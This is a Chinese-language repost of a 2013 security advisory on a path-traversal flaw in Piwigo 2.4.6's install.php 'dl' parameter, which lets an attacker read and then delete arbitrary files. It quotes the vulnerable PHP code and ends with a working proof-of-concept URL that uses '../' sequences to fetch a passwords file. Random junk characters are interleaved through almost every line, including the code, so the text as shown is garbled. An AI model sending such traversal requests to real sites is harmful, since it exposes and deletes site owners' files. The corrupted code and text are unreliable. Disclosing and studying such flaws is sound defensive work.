Piwigo是用PHP编写的相册脚本。
1 K0 X+ A4 K+ }; a& ]' C: Y* ~" i! R4 t. A4 |( C4 B
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。8 o' v& N4 z5 X' o
====================================================================' z. @( X8 n+ p4 `0 [ c4 M
/install.php:
4 U/ V8 Q& n) H4 x: A6 \/ {-------------
- [( E$ @5 X% i' y5 X6 u113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))- e3 w7 p4 f- a% m" z
114: {% \: e% J2 C7 k
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
$ P9 `* C: {# m4 O. s/ ~* `116: header('Cache-Control: no-cache, must-revalidate');" l9 u4 U4 t' A4 Q
117: header('Pragma: no-cache');* c; I3 _8 o5 X3 B5 x- _
118: header('Content-Disposition: attachment; filename="database.inc.php"');! {9 ?( n/ t6 N- ~: Y2 [2 F/ _: U
119: header('Content-Transfer-Encoding: binary');
/ Y$ i! `2 W4 v120: header('Content-Length: '.filesize($filename));
4 @$ s* j4 r3 s* d121: echo file_get_contents($filename);
( k5 l) Y5 [" u7 z6 n! P& S122: unlink($filename);- v, H. F! T% K# p! h Y
123: exit();
4 N- e+ q; f* X% v2 o124: }
+ r% e! Q/ q; j# A! P% y3 Q w+ Q====================================================================2 L% e1 z9 I: d/ r( V+ a+ n
0 L( ~0 Y1 ?& N; M$ T
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
0 }" e1 }' H; b! \. w Apache 2.4.2 (Win32)
4 [ E x! E7 O/ |6 f PHP 5.4.4
* A4 r, x+ m1 ^9 }, \5 u4 ~ MySQL 5.5.25a
9 o2 r2 G. X! Y/ v3 E; q4 H: Y 3 R( n" r; M- F
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic/ y2 N, P6 b: L4 P' c. m5 Q
@zeroscience
' ~1 {: R; x5 Z! E; u1 a / i4 p1 [9 {: B1 L5 M8 O+ \5 h$ i
Advisory ID: ZSL-2013-5127
0 |* M4 [2 [! C5 h7 tAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php8 A% n1 g& B9 {. o- d
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
# w. y% {3 @' }/ K( p7 U2 r
' ~% V) I3 \# G( x+ k0 |15.02.2013
4 l* s, N1 k2 D1 Y0 z* ]" a + R& N2 @: k8 O1 s" m# e% D( M! E6 P
--9 C+ W8 Y6 M% F0 r
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
0 K6 q0 B# y- X; I
2 V; u4 h% j; o5 c* P7 b0 ]& ] |